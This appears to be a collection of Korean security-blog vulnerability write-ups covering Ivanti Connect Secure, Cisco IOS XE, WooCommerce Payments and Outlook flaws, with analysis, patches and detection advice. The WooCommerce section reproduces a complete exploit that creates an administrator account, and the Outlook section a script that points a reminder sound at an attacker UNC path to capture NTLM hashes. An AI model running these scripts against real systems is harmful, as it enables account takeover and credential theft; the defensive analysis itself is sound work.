1. 개요

- Ivanti Connect Secure, Policy Secure에서 새로운 제로데이 취약점 발견

> 권한 상승 취약점 (CVE-2024-21888) 및 SSRF 취약점(CVE-2024-21893)

> 해당 취약점을 악용해 다수의 국내 기업들 포함 전세계 650여개 이상 기업 공격 시도

> 원격 명령 실행을 위해 백도어 DSLog를 설치하기 위해 CVE-2024-21893 악용

 

2. 취약점

2.1 CVE-2024-21888

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-21888

 

- 취약한 버전의 Ivanti Connect Secure, Ivanti Policy Secure에서 발생하는 권한 상승 취약점

> 웹 구성요소 권한 상승 취약점으로 인해 관리자 권한으로 권한 상승 가능 [2]

> 악용에 성공한 공격자는 SAML 구성 요소에 있는 SSRF 취약점으로 인해 공격자가 인증 없이 제한된 특정 리소스에 접근 가능  (CVE-2024-21893) [2]

영향받는 버전: Ivanti Connect Secure 및 Ivanti Policy Secure 9.x, 22.x

 

- 서버에 요청이 전달되기 전 URI를 테스트하여 인증 필요 여부를 확인하는 doAuthCheck() 존재

> 해당 함수에서 /dana-ws/saml20.ws 등 특정 경로의 경우 인증이 강제되지 않음

※ CVE-2023-46805: doAuthCheck()에서 /api/v1/totp/user-backup-code 경로의 경우 인증이 강제되지 않음

  if ( !memcmp(uri_path_1, "/dana-na/", 9u)
    || !memcmp(a1->uri_path, "/dana-cached/setup/", 0x13u)
    || !memcmp(a1->uri_path, "/dana-cached/sc/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/hc/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/cc/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/ep/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/psal/", 0x12u)
    || !strncmp(uri_path1, "/dana-cached/remediation/", 0x19u)
    || !strncmp(uri_path1, "/dana-ws/saml20.ws", 0x12u) // <--- No auth for this SAML endpoint, CVE-2024-21888
    || !strncmp(uri_path1, "/dana-ws/samlecp.ws", 0x13u)
    || !strncmp(uri_path1, "/adfs/ls", 8u)
    || !strncmp(uri_path1, "/api/v1/profiler/", 0x11u)
    || !strncmp(uri_path1, "/api/v1/cav/client/", 0x13u) && strncmp(uri_path1, "/api/v1/cav/client/auth_token", 0x1Du) )
  {
    return 1;
  }
  v18 = (const void *)getDevice(a1->dwordC);
  if ( (unsigned __int8)sub_873D0(a1->uri_path, v18) )
    return 1;
  uri_path = a1->uri_path;
  if ( !strncmp((const char *)uri_path, "/api/v1/ueba/", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/integration/", 0x14u)
    || !strncmp((const char *)uri_path, "/api/v1/dsintegration", 0x15u)
    || !strncmp((const char *)uri_path, "/api/v1/pps/action/", 0x13u)
    || !strncmp((const char *)uri_path, "/api/my-session", 0xFu)
    || !strncmp((const char *)uri_path, "/api/v1/totp/user-backup-code", 0x1Du) // CVE-2023-46805
    || !strncmp((const char *)uri_path, "/api/v1/esapdata", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/sessions", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/tasks", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/gateways", 0x10u)
    || !strncmp((const char *)uri_path, "/_/api/aaa", 0xAu)
    || !strncmp((const char *)uri_path, "/api/v1/oidc", 0xCu) )
  {
    return 1;
  }

 

- 웹 서버의 함수 doDispatchRequest()특정 URL에 대해 인증되지 않은 POST 요청을 백엔드 서비스 saml-server로 전달

> /dana-ws/saml.ws, /dana-ws/saml20.ws, /dana-ws/samlcp.ws 경로의 경우 인증이 수행되지 않음

> 인증되지 않은 POST 요청을 웹 서버의 DSWSMLHandler 클래스를 통해 saml-server로 디스패치

※ saml-server: /home/bin/saml-server 

  if ( !strncmp(v33, "/dana-ws/saml.ws", 0x10u)
        || !strncmp(v33, "/dana-ws/saml20.ws", 0x12u) // <--- our unauthenticated path
        || !strncmp(v33, "/dana-ws/samlecp.ws", 0x13u) )
      {
        if ( !byte_13EBE0 && __cxa_guard_acquire((__guard *)&byte_13EBE0) )
        {
          v37 = "Watchdog";
          if ( !*((_BYTE *)a1 + 240) )
            v37 = "WebRequest";
          dword_13EC54 = DSGetStatementCounter("request.cc", 5283, "doDispatchRequest", v37, 10, "Dispatching to SAML");
          __cxa_guard_release((__guard *)&byte_13EBE0);
        }
        ++*(_QWORD *)dword_13EC54;
        if ( DSLog::Debug::isOn(v76) )
        {
          v34 = "Watchdog";
          if ( !*((_BYTE *)a1 + 240) )
            v34 = "WebRequest";
          DSLog::Debug::Write(
            (DSLog::Debug *)v34,
            &byte_9[1],
            (int)"request.cc",
            (const char *)&elf_gnu_hash_chain[440] + 3,
            (int)"Dispatching to SAML",
            v92);
        }
        DSCockpitCounter::updateCounter(0, 1);
        if ( !byte_13EBE8 && __cxa_guard_acquire((__guard *)&byte_13EBE8) )
        {
          dword_13EC50 = DSGetStatementCounter(
                           "request.cc",
                           5285,
                           "doDispatchRequest",
                           "WebRequest",
                           60,
                           "DSCockpitCounter Webhits Incremented");
          __cxa_guard_release((__guard *)&byte_13EBE8);
        }
        ++*(_QWORD *)dword_13EC50;
        if ( DSLog::Debug::isOn(v77) )
          DSLog::Debug::Write(
            (DSLog::Debug *)"WebRequest",
            off_3C,
            (int)"request.cc",
            (const char *)&elf_gnu_hash_chain[441] + 1,
            (int)"DSCockpitCounter Webhits Incremented",
            v92);
        DSCockpitCounter::updateCounter(4, 1);
        return sub_86980((int)a1) != 0; // <--- dispatch to saml-server via DSWSSAMLHandler
      }

 

2.2 CVE-2024-21893

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2024-21893 [3]

 

- SAML 구성 요소에 있는 SSRF 취약점으로 인해 공격자가 제한된 특정 리소스에 인증 없이 엑세스할 수 있는 취약점

> 영향받는 버전은 CVE-2024-21888과 동일

 

- saml-serverSOAP 요청을 포함한 모든 SAML 작업을 담당

> SoapHandler()는 모든 XML 처리를 위해 xmltooling 라이브러리를 호출

 SoapHandler()는 createXMLObjectFromSoapMessage()를 통해 들어오는 POST 요청의 콘텐츠 데이터를 XML 개체로 변환하는 함수

 

- XML 처리에 사용되는 xmltooling 라이브러리의 버전은 3.0.2

> 해당 xmltooling의 경우 최신 버전이 아니며, SSRF 취약점인 CVE-2023-36661에 영향을 받는 버전 [4][5]

> SSRF 취약점 트리거를 위해 KeyInfo의 RetrievalMethod 속성을 이용

> 해당 속성 사용시 XMLToolingFIPS.XMLObject.Signature()가 GET 요청을 통해 원격 리소스를 요청하는데 사용할 URI 지정 가능

> PoC [6]

※ CVE-2023-36661: xmltooling 3.2.4 이전 버전에서 조작된 KeyInfo 요소로 인해 발생하는 SSRF 취약점

[사진 3] RawData [7]

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [8][9]

제품명 영향받는 버전 해결버전
Ivanti Connect Secure 9.x
22.x
9.1R14.4
9.1R17.2
9.1R18.3
22.4R2.2
22.5R1.1
22.5R2.2
22.6R1.3
Ivanti Policy Secure 22.5R1.1
22.6R1.3(ZTA version)

 

- "/dana-ws/saml20.ws" 탐지룰 적용

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-21888
[2] https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis?referrer=notificationEmail
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-21893
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-36661
[5] https://shibboleth.net/community/advisories/secadv_20230612.txt
[6] https://github.com/h4x0r-dz/CVE-2024-21893.py
[7] https://blog.sonicwall.com/en-us/2024/02/ivanti-server-side-request-forgery-to-auth-bypass/
[8] https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US
[9] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71320
[10] https://www.assetnote.io/resources/research/ivantis-pulse-connect-secure-auth-bypass-round-two
[11] https://blog.sonicwall.com/en-us/2024/02/ivanti-server-side-request-forgery-to-auth-bypass/
[12] https://www.dailysecu.com/news/articleView.html?idxno=153513
[13] https://www.boannews.com/media/view.asp?idx=126369&page=15&kind=1
[14] https://www.boannews.com/media/view.asp?idx=126665&page=1&kind=1

1. Cisco IOS XE [1]

- 시스코에서 제조한 라우터 및 스위치에 사용되는 독점 네트워크 운영 체제 IOS(Internetworking Operating System) 중 하나

※ Network Operating System (NOS): 라우터 , 스위치 또는 방화벽 과 같은 네트워크 장치를 위한 특수 운영 체제

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-20198 [2]

- 인터넷이나 신뢰할 수 없는 네트워크에 노출된 Cisco IOS XE Software의 Web UI에서 발생하는 권한 상승 취약점 (CVSS: 10)

- 공격이 성공할 경우 공격자는 Level 15의 권한을 가지게 되어 모든 명령 실행 및 설정 변경 등이 가능해짐

- 또한, 불충분한 입력 값 검증으로 인한 명령 주입 취약점  CVE-2023-20273으로 이어져 악성 파일을 생성가능

> Cisco IOS는 액세스 권한 수준이 Level 0~15, 총 16가지로 나뉘어져 있으며, Level 별로 사용가능한 명령이 다름 [3]

 

구분 설명
Level 0 5가지 명령어만 사용 가능 (logout, enable, disable, help, exit)
Level 1 라우터에 대해 매우 제한된 읽기 전용 액세스를 제공
Level 15 라우터에 대한 완전한 제어가 가능
영향받는 버전
- Web UI 기능을 활성화한 Cisco IOS XE Software

 

2.1 취약점 상세

- 구체적인 원인은 확인되지 않으나 알려진 내용에 따르면 4가지 조건이 확인됨

① 인터넷이나 신뢰할 수 없는 네트워크에 노출

② 웹 UI 기능 활성화

③ CVE-2021-1435 취약점 존재 [6]

④ 조작된 악성 HTTP 요청 전송 후 서버 재시작

※ 보안 연구원의 Shodan 검색 결과에 따르면 약 40,000개 이상의 장치가 위 ①,② 조건을 만족 [5]

※ CVE-2021-1435: Cisco IOS XE Software 웹 UI의 불충분한 입력값 검증으로인해 원격의 공격자가 루트 권한으로 임의의 명령을 실행할 수 있는 취약점

※ 해당 취약점은 2021년 패치

 

- 시스코의 Talos팀에서 공격에 사용된 것으로 판단되는 Lua로 작성된 코드를 공개 [7]

HTTP POST 요청

menu 매개변수존재할 경우(Null과 공백이 아닐경우) 일련의 문자열 반환

> Lua에서 nil은 아무것도 없는 텅빈 값을 의미하며, ~= 연산은 같지않음을 의미

logon_hash 매개변수1인 경우 18자의 16진수 문자열 반환

logon_hash 매개변수지정된 값과 일치하며, common_type 매개변수subsystem 또는 iox인 경우 실행 수준 결정

> common_type == subsystem: 코드가 시스템 수준에서 실행

> common_type == iox: 코드가 IOS 수준에서 실행 (Level 15)

[사진 3] 공격 코드 예시

 

3. 대응방안

① 벤더사 제공 업데이트 적용 [8]

> 해당 업데이트는 CVE-2023-20273에 대한 업데이트가 포함되어 있음

> 현재 해당 취약점 악용 시도가 활발히 진행되고 있어 신속한 업데이트 적용 필요

 

제품명 영향받는 버전 해결 버전
Cisco IOS XE Software 16.12(Catalyst 3650 및 3850만 해당) 17.6
16.12.10a 17.6.6a
17.3 17.9
17.3.8a 17.9.4a

 

② 업데이트 불가 등의 경우 벤더사 제공한 보안 권고 적용 [9][10]

- 모든 인터넷 연결 시스템 상의 HTTP Server 기능에 대해 비활성화

> HTTP/HTTPS 통신이 필요한 서비스를 실행할 경우, 해당 서비스 접근을 신뢰할 수 있는 네트워크로 제한할 것

> 아래 명령 결과 ip http server 또는 ip http secure-server 출력될 경우 Web UI 기능이 활성화 (비활성화 방법 표 참고)

show running-config | include ip http server|secure|active
구분 설명
HTTP Server 사용시 no ip http server 명령어로 비활성화
HTTPS Server 사용시 no ip http secure-server 명령어로 비활성화

 

> 시스템 로그를 통해 아래 로그 유무 확인

시스템 로그
점검 항목
%SYS-5-CONFIG_P: Configured programmatically by process SEP_webui_wsma_http from console as user on line
%SEC_LOGIN-5-WEBLOGIN_SUCCESS: Login Success [user: user] [Source: source_IP_address] at 03:42:13 UTC Wed Oct 11 2023
%WEBUI-6-INSTALL_OPERATION_INFO: User: username, Install Operation: ADD filename

 

> 아래 명령 실행 결과 16진수 문자열 반환 여부 확인 (문자열 반환시 취약점 노출)

curl -k -X POST "hxxps://systemip/webui/logoutconfirm.html?logon_hash=1"

 

> 새로 생성된 계정이 있는지 점검 및 확인

 

4. 참고

[1] https://www.cisco.com/c/en/us/products/ios-nx-os-software/ios-xe/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-20198
[3] https://learningnetwork.cisco.com/s/blogs/a0D3i000002eeWTEAY/cisco-ios-privilege-levels
[4] https://study-ccna.com/cisco-privilege-levels/
[5] https://www.hackread.com/cisco-web-ui-vulnerability-exploited-attackers/
[6] https://nvd.nist.gov/vuln/detail/CVE-2021-1435
[7] https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71220&menuNo=205020
[9] https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z
[10] https://sec.cloudapps.cisco.com/security/center/publicationListing.x
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71216&menuNo=205020
[12] https://www.hackread.com/cisco-web-ui-vulnerability-exploited-attackers/
[13] https://www.bleepingcomputer.com/news/security/cisco-warns-of-new-ios-xe-zero-day-actively-exploited-in-attacks/
[14] https://arstechnica.com/security/2023/10/actively-exploited-cisco-0-day-with-maximum-10-severity-gives-full-network-control/
[15] https://www.boannews.com/media/view.asp?idx=122729&page=1&kind=1
[16] https://www.boannews.com/media/view.asp?idx=122716&page=1&kind=1
[17] https://www.boannews.com/media/view.asp?idx=122968&page=2&kind=1
[18] https://www.boannews.com/media/view.asp?idx=123011&page=1&kind=1

1. WordPress WooCommerce Payments 플러그인

- WordPress란 사용자가 전문적인 기술과 지식 없이도 웹사이트에서 콘텐츠를 생성, 관리 및 수정할 수 있도록 도와주는 CMS(Contents Management System)

- WooCommerce Payments란 오픈 소스 전자상거래 솔루션

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-28121

- WordPress용 WooCommerce Payments 플러그인에 조작된 요청을 보내 인증되지 않은 사용자가 관리자 권한을 얻을 수 있는 취약점 (CVSS 9.8)

- 2023.07.14부터 지속적으로 공격이 이루어지고 있음

- 영향받는 버전
WordPress용 WooCommerce Payments 플러그인 버전 5.6.1 이하

 

2.1 분석

- 해당 취약점은 Platform-Checkout-Session.php의 init()에서 발생

> Line 25에서 요청 메시지의 쿠키를 사용해 현재 사용자 결정

add_filter( 'determine_current_user', [ __CLASS__, 'determine_current_user_for_platform_checkout' ] );

 

> Line 36~46 determinate_current_user_for_platform_checkout()에서 특정 헤더 값을 이용해 사용자 결정

⒜ 관련 헤더: X-WCPAY-PLATFORM-CHECKOUT-USER

해당 헤더 값이 존재할 경우 검증없이 단순히 값을 반환하여 사용자를 결정

  public static function determine_current_user_for_platform_checkout( $user ) {
    if ( $user ) {
      return $user;
    }
    if ( ! isset( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) || ! is_numeric( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) ) {
      return null;
    }
    return (int) $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'];
  }

 

- Platform-Checkout-Session.php 중 취약점과 관련된 코드의 일부

<?php
/**
 * Class WC_Payments_Session.
 *
 * @package WooCommerce\Payments
 */

namespace WCPay\Platform_Checkout;

/**
 * Class responsible for handling platform checkout sessions.
 * This class should be loaded as soon as possible so the correct session is loaded.
 * So don't load it in the WC_Payments::init() function.
 */
class Platform_Checkout_Session {

  const PLATFORM_CHECKOUT_SESSION_COOKIE_NAME = 'platform_checkout_session';

  /**
   * Init the hooks.
   *
   * @return void
   */
  public static function init() {
    add_filter( 'determine_current_user', [ __CLASS__, 'determine_current_user_for_platform_checkout' ] );
    add_filter( 'woocommerce_cookie', [ __CLASS__, 'determine_session_cookie_for_platform_checkout' ] );
  }

  /**
   * Sets the current user as the user sent via the api from WooPay if present.
   *
   * @param \WP_User|null|int $user user to be used during the request.
   *
   * @return \WP_User|null|int
   */
  public static function determine_current_user_for_platform_checkout( $user ) {
    if ( $user ) {
      return $user;
    }

    if ( ! isset( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) || ! is_numeric( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) ) {
      return null;
    }

    return (int) $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'];
  }

  /**
   * Tells WC to use platform checkout session cookie if the header is present.
   *
   * @param string $cookie_hash Default cookie hash.
   *
   * @return string
   */
  public static function determine_session_cookie_for_platform_checkout( $cookie_hash ) {
    if ( isset( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) && 0 === (int) $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) {
      return self::PLATFORM_CHECKOUT_SESSION_COOKIE_NAME;
    }

    return $cookie_hash;
  }
}

 

2.2 PoC

- 공개된 PoC의 동작은 다음과 같음

① readme.txt를 통해 대상 시스템에서 사용중인 WooCommerce Payments 플러그인의 버전을 확인해 취약 여부 확인

② 취약한 버전일 경우 /wp-json/wp/v2/users API 인터페이스를 활용해 사용자 추가

X-WCPAY-PLATFORM-CHECKOUT-USER 헤더 값을 1로 설정

> 일반적으로 첫 번째 사용자는 관리자이므로, 1로 설정하는 것으로 판단됨

④ 공격자가 관리자 권한을 가진 계정을 생성하게 됨

> determinate_current_user_for_platform_checkout()에 의해 검증없이 관리자 권한으로 설정됨

# CVE-2023-28121
# WooCommerce Payments Unauthorized Administrator Access Exploit 
# by Secragon
# PoC for educational/research purposes only
# Use it at your own risk!

import re
import sys
import urllib3
import requests
import argparse
from colorama import Fore, Style

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


username = "secragon"
password = "OffensiveSecurity123"
email = "exploit@secragon.com"

def check_version(target):
    
    print(Style.RESET_ALL + "Site version:", end=' ')
    try:
        r = requests.get(f"{target}/wp-content/plugins/woocommerce-payments/readme.txt", verify=False)
        version = re.search(r"Stable tag: (.*)", r.text).groups()[0]

    except:
        print(Fore.RED + f'error...')
        exit()


    if int(version.replace('.','')) < 562:
        print(Fore.GREEN + f'{version} - vulnerable!')
    else:
        print(Fore.RED + f'{version} - not vulnerable!')
        exit()

def add_admin(target):

    headers = {
        'User-Agent': 'Secragon Offensive Agent',
        'X-WCPAY-PLATFORM-CHECKOUT-USER': '1'
    }

    data = {
        'rest_route' : '/wp/v2/users',
        'username' : username,
        'email': email,
        'password': password,
        'roles':'administrator'
    }

    print(Style.RESET_ALL + "Getting session:", end =' ')

    s = requests.Session()
    try:
        r = s.get(f'{target}', headers=headers, verify=False)
        print(Fore.GREEN + f'done')
    except:
        print(Fore.RED + f'error...')
        exit()

    print(Style.RESET_ALL + "Adding a new admin:", end =' ')


    r = s.post(f'{target}', data=data, headers=headers, verify=False)
    if r.status_code == 201:
        print(Fore.GREEN + f'done')
    else:
        print(Fore.RED + f'error...')
        exit()


    print(Style.RESET_ALL + "All set! You can now login using the following credentials:")
    print(f'Username: {username}')
    print(f'Password: {password}')
    print()



print()
print(Fore.BLUE + "\t\t --- WooCommerce Payments exploit ---")
print("\t\t      (unauthorized admin access)")
print(Fore.RED + "\t\t\t\t\tby gbrsh@secragon & gnomer0x@secragon")
print(Style.RESET_ALL)


parser = argparse.ArgumentParser()

parser.add_argument('url', help='http://wphost')

if len(sys.argv) == 1:
    parser.print_help()
    print()
    exit()

args = parser.parse_args()

check_version(args.url)
add_admin(args.url)

 

[사진 2] 익스플로잇

 

- 공격자의 조작된 요청에의해 서버에서 201 Created 응답이 발생하며, 악성 계정이 정상적으로 생성

> 201 Created: POST, PUT 메소드 등으로 새로운 데이터를 서버에 생성하는 작업이 성공했음을 나타내는 상태코드

 

[사진 3] 악성 계정 생성

 

3. 대응방안

① 벤더사에서 제공하는 패치를 적용

- 해당 취약점은 2023.03.23 벤더사에서 패치를 배포

 

제품명 영향받는 버전 해결 버전
WooCommerce Payments 4.8.2 이전 버전 4.8.2
4.9.1 이전 버전 4.9.1
5.0.4 이전 버전 5.0.4
5.1.3 이전 버전 5.1.3
5.2.2 이전 버전 5.2.2
5.3.1 이전 버전 5.3.1
5.4.1 이전 버전 5.4.1
5.5.2 이전 버전 5.5.2
5.6.2 이전 버전 5.6.2

 

※ 패치 버전에서는 init() 포함되어 있는 Platform-Checkout-Session.php 파일을 삭제한 것으로 판단됨

 

[사진 4] 취약한 버전(좌) 및 패치 버전(우) 비교

 

4. 참고

[1] https://news.wp-kr.com/wordpress-start-guide/#index-wordpress
[2] https://woocommerce.com/payments/
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-28121
[4] https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/
[5] https://developer.wordpress.org/reference/hooks/determine_current_user/
[6] https://github.com/gbrsh/CVE-2023-28121
[7] https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&nttId=71028&menuNo=205020
[9] https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/#google_vignette
[10] https://www.boannews.com/media/view.asp?idx=120266&page=1&kind=1 

1. Microsoft Outlook

- 마이크로소프트 오피스의 구성 요소 (이메일 소프트웨어)

 

1.1 용어

용어 설명
MAPI 
(Messaging Application Programming Interface)
-  윈도우 응용프로그램(아웃룩 전자 메일 클라이언트) 내에서 전자우편을 보내거나, 자신이 현재 작성중인 문서를 전자우편 내용 위에 첨부할 수 있도록 해주는 등 Exchange 서버의 모든 기능을 완전히 사용할 수 있도록 하는 마이크로소프트의 독점 프로토콜
SMB
(Server Message Block)
- 다양한 운영체제 간 자원 공유를 쉽게 해줄 목적으로 만들어진, 네트워크 상 존재하는 노드들 간에 자원을 공유할 수 있도록 설계된 프로토콜
- 네트워크에 연결된 컴퓨터끼리 파일, 프린터, 포트 또는 기타 메시지를 전달하는데 사용
UNC 
(Universal Naming Convention)
- 공유 파일이 저장되어 있는 장치를 명시하지 않고서도 파일을 확인할 수 있는 방법.
- 파일, 폴더, 프린터 및 공유 리소스와 같은 네트워크 리소스를 식별하고 찾기 위해 Microsoft Windows 운영 체제에서 사용되는 명명 시스템
NTLM
(New-Technology LAN Manager)
윈도우에서 제공하고 있는 인증 프로토콜 중 하나로 Challenge-Response라고 불리는 인증 프로토콜 방식을 사용
- 최근에는 거의 쓰이지 않고 있으며 MS 에서도 사용을 권장하지 않으나, SMB 프로토콜에도 하위호환성을 위해 내장

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-23397 [1]

- Microsoft Outlook에서 발생하는 권한 상승 취약점으로, CVSS 9.8을 할당 받음

- 피해자가 메일을 읽지 않아도 공격자는 피해자의 NTLM 정보를 탈취할 수 있음

- 취약한 버전 목록 [2][3]

※ Android, iOS, Mac과 같은 다른 버전의 Microsoft Outlook과 웹용 Outlook 및 기타 M365 서비스는 영향을 받지 않음

제품명 버전 빌드
Current Channel Version 2302 Build 16130.20306
Monthly Enterprise Channel Version 2301 Build 16026.20238
Monthly Enterprise Channel Version 2212 Build 15928.20298
Semi-Annual Enterprise Channel (Preview) Version 2301 Build 16130.20306
Semi-Annual Enterprise Channel Version 2208 Build 15601.20578
Semi-Annual Enterprise Channel Version 2202 Build 14931.20944
Office 2021 Retail Version 2301 Build 16130.20306
Office 2019 Retail Version 2302 Build 16130.20306
Office 2016 Retail Version 2302 Build 16130.20306
Office LTSC 2021 Volume Licensed Version 2108 Build 14332.20481
Office 2019 Volume Licensed Version 1808 Build 10396.20023

 

2.1 공격 원리 [4][5][6]

[사진 2] 공격 과정 요약

- Outlook의 캘린더에는 약속한 일정을 사용자에게 알려주는 '미리 알림' 기능이 존재하며, 약속 기한이 지났을 때도 알림을 발생

 

- MAPI의 "PidLidReminderFileParameter"는 약속 기한이 지나, 지연 알림에 클라이언트가 재생할 사운드의 파일 경로(UNC)를 지정하는 데 사용됨 [7]

- 또한 "PidLidReminderOverride"는 PidLidReminderFileParameter 값을 신뢰할 것인지 결정 [8]

 

- 공격자는 메일에 "PidLidReminderFileParameter" 값을 공격자가 제어 가능한 SMB 서버로, "PidLidReminderOverride"을 true로 설정하여 전송

[사진 3] 악성 메일

 

2.2 PoC [9]

- 공격자가 제어하는 SMB서버의 주소를 BAD_ADDRESS 변수에 저장
- send_meeting_request()를 이용해 조작된 메일을 생성 및 전송

#!/usr/bin/env python3

__author__ = "William Golembieski"
__license__ = "Apache License 2.0"
__email__ = "william@armoryanalytics.com"

import win32com.client

OUTLOOK_FORMAT = '%m/%d/%Y %H:%M'
def outlook_date(dt): return dt.strftime(OUTLOOK_FORMAT)


class OutlookClient(object):
    def __init__(self):
        self.outlook = win32com.client.Dispatch('Outlook.Application')

    def send_meeting_request(self, subject, time, location, recipients, body, bad_location):
        mtg = self.outlook.CreateItem(1)
        mtg.MeetingStatus = 1
        mtg.Location = location
        for recipient in recipients:
            mtg.Recipients.Add(recipient)
        mtg.Subject = subject
        mtg.Start = outlook_date(time)
        mtg.Duration = 60
        mtg.ReminderMinutesBeforeStart = 30
        mtg.ResponseRequested = False
        mtg.Body = body
        mtg.ReminderSet = True
        mtg.ReminderOverrideDefault = True
        mtg.ReminderSoundFile = bad_location
        mtg.Save()
        mtg.Send()


if __name__ == "__main__":
    MEETING_SUBJECT:      str = "Test Of CVE-2023-23397"
    MEETING_BODY_TEXT:    str = "CVE-2023-23397 Test email"
    MEETING_LOCATION:     str = "Virtual"
    MEETING_RECIPIENTS: [str] = [
        'user@test.com',
        'user2@test.com'
    ]

    # External UNC location
    BAD_ADDRESS: str = "\\\\<your>.<bad>.<location>.<here>\\@<port>\\<file>.<extension>"

    import datetime
    ol = OutlookClient()

    # Set meeting time 3 hours from now
    meeting_time = datetime.datetime.now() + datetime.timedelta(hours=3)

    ol.send_meeting_request(MEETING_SUBJECT, meeting_time, MEETING_LOCATION, MEETING_RECIPIENTS, MEETING_BODY_TEXT,
                            BAD_ADDRESS)

 

3. 대응방안

① "PidLidReminderFileParameter"의 값이 UNC로 변경되었는지를 확인하여 피해 여부를 파악

- 3월 15일 Microsoft는 취약점이 Exchange 환경 내에 존재하는지 검사하는 스크립트 CVE-2023-23397.ps1 공개 [10]

⒜ 사전 준비

> Exchange Server (on-premises) : EMS(Exchange 관리 셸)에서 아래 PowerShell 명령을 실행

New-ThrottlingPolicy “CVE-2023-23397-Script”
Set-ThrottlingPolicy “CVE-2023-23397-Script” -EWSMaxConcurrency Unlimited -EWSMaxSubscriptions Unlimited -CPAMaxConcurrency Unlimited -EwsCutoffBalance Unlimited -EwsMaxBurst Unlimited -EwsRechargeRate Unlimited
Set-Mailbox -Identity “<UserWhoRunsTheScript>” -ThrottlingPolicy “CVE-2023-23397-Script”

> Exchange Online : 전역 관리자 또는 응용 프로그램 관리자 권한으로 실행

 

⒝ 점검 시작

⑴ 감사 모드(Audit Mode) : 스크립트는 속성이 채워진 항목의 세부 정보가 포함된 CSV 파일을 제공
> Exchange Server (on-premises)

Get-Mailbox -ResultSize Unlimited | .\CVE-2023-23397.ps1 -Environment Onprem

> Exchange Online

Get-Mailbox -ResultSize Unlimited | .\CVE-2023-23397.ps1 -Environment “Online”

⑵ 정리 모드(Cleanup Mode) : 스크립트는 속성을 지우거나 항목을 삭제하여 감지된 항목에 대한 정리를 수행
> Exchange Server (on-premises)

.\CVE-2023-23397.ps1 -Environment Onprem -CleanupAction ClearProperty -CleanupInfoFilePath <Path to modified CSV>

> Exchange Online

.\CVE-2023-23397.ps1 -CleanupAction ClearProperty -CleanupInfoFilePath <Path to modified CSV>

 

② 현재 사용중인 Outlook 버전 확인 후 최신 버전 업데이트 적용 [11]

- Outlook 실행 > 파일 > Office 계정 > Outlook 정보에 표시된 버전 확인

[사진 4] Outlook 버전 확인

 

③ 미리 알림 해제

- 옵션 > 고급 > 미리 알림 > ‘미리 알림 표시’ 체크 해제

> 단, 해당 메일을 열어 ‘다음 소리 재생(Play this sound)’을 체크하고 소리를 재생할 시 취약점이 발현됨

 

④ 업데이트 적용이 불가한 경우 다음의 임시조치 적용

- SMB 포트 차단
> TCP 445/SMB 아웃바운드 트래픽을 차단

 

- NTLM 인증 사용 차단.
> 보호된 사용자 보안 그룹(Protected Users Security Group)에 계정을 추가해 NTLM을 인증을 사용하지 못하도록 한다.
※ NTLM이 필요한 서비스에 영향을 미칠 수 있으므로 영향도 검토 필요

 

⑤ 보안 장비에 IoC 등 침해지표 등록

 

4. 참조

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-23397
[2] https://learn.microsoft.com/en-us/officeupdates/microsoft365-apps-security-updates
[3] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71019&menuNo=205020
[4] https://www.balbix.com/blog/urgent-action-recommended-microsoft-outlook-vulnerability-cve-2023-23397/
[5] https://www.bleepingcomputer.com/news/security/critical-microsoft-outlook-bug-poc-shows-how-easy-it-is-to-exploit/
[6] https://blog.cyble.com/2023/03/16/microsoft-outlook-zero-day-vulnerability-cve-2023-23397-actively-exploited-in-the-wild/
[7] https://learn.microsoft.com/en-us/office/client-developer/outlook/mapi/pidlidreminderfileparameter-canonical-property
[8] https://learn.microsoft.com/en-us/office/client-developer/outlook/mapi/pidlidreminderoverride-canonical-property
